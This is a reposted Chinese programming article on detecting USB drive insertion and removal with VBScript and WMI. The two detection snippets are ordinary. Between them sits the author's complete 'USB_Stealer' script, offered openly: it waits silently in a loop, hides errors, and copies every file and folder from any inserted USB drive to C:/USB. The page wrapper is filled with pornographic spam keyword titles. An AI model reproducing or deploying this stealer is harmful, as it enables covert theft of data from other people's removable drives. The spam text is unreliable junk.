亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

用VBS檢測U盤插入與彈出事件的代碼

2020-06-26 18:25:15
字體:
來源:轉載
供稿:網友
貌似網上很多人問怎么用VBS檢測U盤插入和彈出,其實這很容易實現,WMI賦予了VBS十分強大的功能。
 
可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低??催^網上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環實現的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環,但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現,下面是示例代碼,更詳細的信息請參考MSND文檔。

復制代碼代碼如下:

Const Configuration_Changed = 1 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const Docking = 4 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!//" _ 
& strComputer & "/root/cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
WScript.Echo "U盤插入,盤符為" & _ 
objLatestEvent.DriveName 
Case Device_Removal 
WScript.Echo "U盤彈出,盤符為" & _ 
objLatestEvent.DriveName 
End Select 
Loop

我也寫了一個U盤小偷程序,自以為比網上抄來抄去的代碼要好,感興趣的可以下載來看看。 
復制代碼代碼如下:

'========================================== 
'Name : USB_Stealer 
'Date : 2010/5/25 
'Author : Demon 
'Copyright : Copyright (c) 2010 Demon 
'E-Mail : still.demon@gmail.com 
'QQ : 380401911 
'Website : http://demon.tw 
'========================================== 
'Option Explicit 
On Error Resume Next 
Const Target_Folder = "C:/USB" 

Call Main() 

Sub Main() 
On Error Resume Next 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const strComputer = "." 
Dim objWMIService, colMonitoredEvents, objLatestEvent 

Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!//" _ 
& strComputer & "/root/cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
Copy_File objLatestEvent.DriveName 
End Select 
Loop 
End Sub 

Sub Copy_File(Folder_Path) 
On Error Resume Next 
Dim fso,file,folder 
Set fso = CreateObject("scripting.filesystemobject") 

If Not fso.FolderExists(Target_Folder) Then 
fso.CreateFolder(Target_Folder) 
End If 

For Each file In fso.GetFolder(Folder_Path).Files 
file.Copy Target_Folder & "/" & file.Name,True 
Next 

For Each folder In fso.GetFolder(Folder_Path).SubFolders 
folder.Copy Target_Folder & "/" & folder.Name,True 
Next 
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。 
復制代碼代碼如下:

strComputer = "." 
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2") 

Set colEvents = objWMIService.ExecNotificationQuery _ 
("Select * From __InstanceOperationEvent Within 10 Where " _ 
& "TargetInstance isa 'Win32_LogicalDisk'") 

Do While True 
Set objEvent = colEvents.NextEvent 
If objEvent.TargetInstance.DriveType = 2 Then 
Select Case objEvent.Path_.Class 
Case "__InstanceCreationEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been added." 
Case "__InstanceDeletionEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been removed." 
End Select 
End If 
Loop 

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應該可以看出學習vbs的好地方是哪了, 學習vbs官方的網站不得不去,腳本之家很多的vbs相關的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产精品一区av| 欧美激情按摩在线| 久久成年人免费电影| 欧美黄色成人网| 国产伦精品一区二区三区精品视频| 国内精品一区二区三区| 日本精品久久中文字幕佐佐木| 中文字幕日韩高清| 久久激情五月丁香伊人| 国产一区二区三区四区福利| 国产免费成人av| 国产精品久久9| 国产日韩中文在线| 亚洲香蕉伊综合在人在线视看| 欧美成人h版在线观看| 日韩免费不卡av| 国产高清在线不卡| 91精品在线一区| 久久久精品2019中文字幕神马| 欧美与黑人午夜性猛交久久久| 欧美中文字幕视频在线观看| 亚洲精品中文字幕女同| 欧美激情一级欧美精品| 九色成人免费视频| 精品人伦一区二区三区蜜桃免费| 在线看片第一页欧美| 国产精品久久久久久久美男| 国产成人精品久久二区二区91| 久久久女女女女999久久| 国内精久久久久久久久久人| 丰满岳妇乱一区二区三区| 人人爽久久涩噜噜噜网站| 亚洲欧洲成视频免费观看| 国产福利精品在线| 亚洲精品国产精品国自产在线| 欧美最猛黑人xxxx黑人猛叫黄| 国产精品久久久久久久一区探花| 最近更新的2019中文字幕| 国产成人自拍视频在线观看| 久久久成人av| 国产精品在线看| 欧美精品日韩www.p站| 全亚洲最色的网站在线观看| 国产97人人超碰caoprom| 亚洲精品国产欧美| 欧美日韩aaaa| 日韩精品在线免费观看| 亚洲激情在线视频| 亚洲2020天天堂在线观看| 91亚洲国产成人精品性色| 一区二区国产精品视频| 国产91ⅴ在线精品免费观看| 国产精品久久久久99| 亚洲天堂精品在线| 亚洲a在线观看| 国产精品高清在线| 国产精品成人久久久久| 欧美黑人一区二区三区| 97国产精品免费视频| 日韩av电影在线免费播放| 日本免费一区二区三区视频观看| 亚洲嫩模很污视频| 成人国产精品一区二区| 97精品国产97久久久久久春色| 欧美成人精品不卡视频在线观看| 久久久免费av| 日韩欧美在线播放| 亚洲精品久久7777777| 亚洲天堂av电影| 国产97免费视| 精品亚洲一区二区三区| 久久福利视频网| 国产成人在线精品| 国产欧美精品一区二区三区介绍| 欧美xxxx18性欧美| 国产偷国产偷亚洲清高网站| 亚洲国产成人在线播放| 国产91对白在线播放| 狠狠久久五月精品中文字幕| 亚洲国产女人aaa毛片在线| 久久精品视频在线播放| www.午夜精品| 中文字幕成人在线| 91久久精品美女| 久久夜色撩人精品| 亚洲人成电影网站色…| 国产亚洲精品久久久久久牛牛| 日韩成人av在线| 久久精品视频中文字幕| 国产精品久久久久久久久久| 成人h视频在线观看播放| 97视频人免费观看| 欧美激情综合色综合啪啪五月| 欧美日韩亚洲精品内裤| 亚洲影视中文字幕| 国产精品嫩草影院一区二区| 亚洲欧美日韩一区在线| 欧美成人免费在线观看| 456国产精品| 欧美黄色片在线观看| 国产精品综合久久久| 亚洲欧美日本精品| 国产一区二区激情| 亚洲免费影视第一页| 亚洲欧美日韩第一区| 国产精品稀缺呦系列在线| 久久视频在线观看免费| y97精品国产97久久久久久| 欧美理论电影在线播放| 精品无码久久久久久国产| 国产剧情日韩欧美| 国产精品久久久av久久久| 国产999精品久久久影片官网| 国产亚洲欧美日韩精品| 岛国av一区二区| 色婷婷成人综合| 欧美亚洲视频一区二区| 亚洲免费视频观看| 国产一区视频在线播放| 亚洲自拍偷拍福利| 国产精品一区二区久久久久| 亚洲国产精品资源| 国产成人精品久久二区二区| 亚洲人精品午夜在线观看| 久久久久久久久久久网站| 欧美一级视频在线观看| 97国产精品久久| 国产999精品久久久影片官网| 怡红院精品视频| 欧美日韩国产一中文字不卡| 日韩一区二区在线视频| 粉嫩老牛aⅴ一区二区三区| 色午夜这里只有精品| 久久99精品久久久久久青青91| 国产视频欧美视频| 亚洲国产欧美一区二区三区久久| 日产精品99久久久久久| 欧美性视频在线| 亚洲第一视频网| y97精品国产97久久久久久| 国产免费一区二区三区在线观看| 日韩精品在线影院| 91精品久久久久久久| www.久久撸.com| 精品小视频在线| 国产精品美女av| 中文字幕一精品亚洲无线一区| 九九精品视频在线| 亚洲色图av在线| 欧美激情在线有限公司| 高清欧美电影在线| 日本一区二区三区四区视频| 久久人人爽人人爽人人片av高清| 国产精品视频26uuu| 岛国av一区二区| 亚洲在线视频福利| 日韩欧美一区二区三区| 人体精品一二三区| 国产亚洲一级高清| 日韩av免费看网站| 69精品小视频| 国产日本欧美一区| 国产精品高潮呻吟久久av无限| 欧美另类在线观看|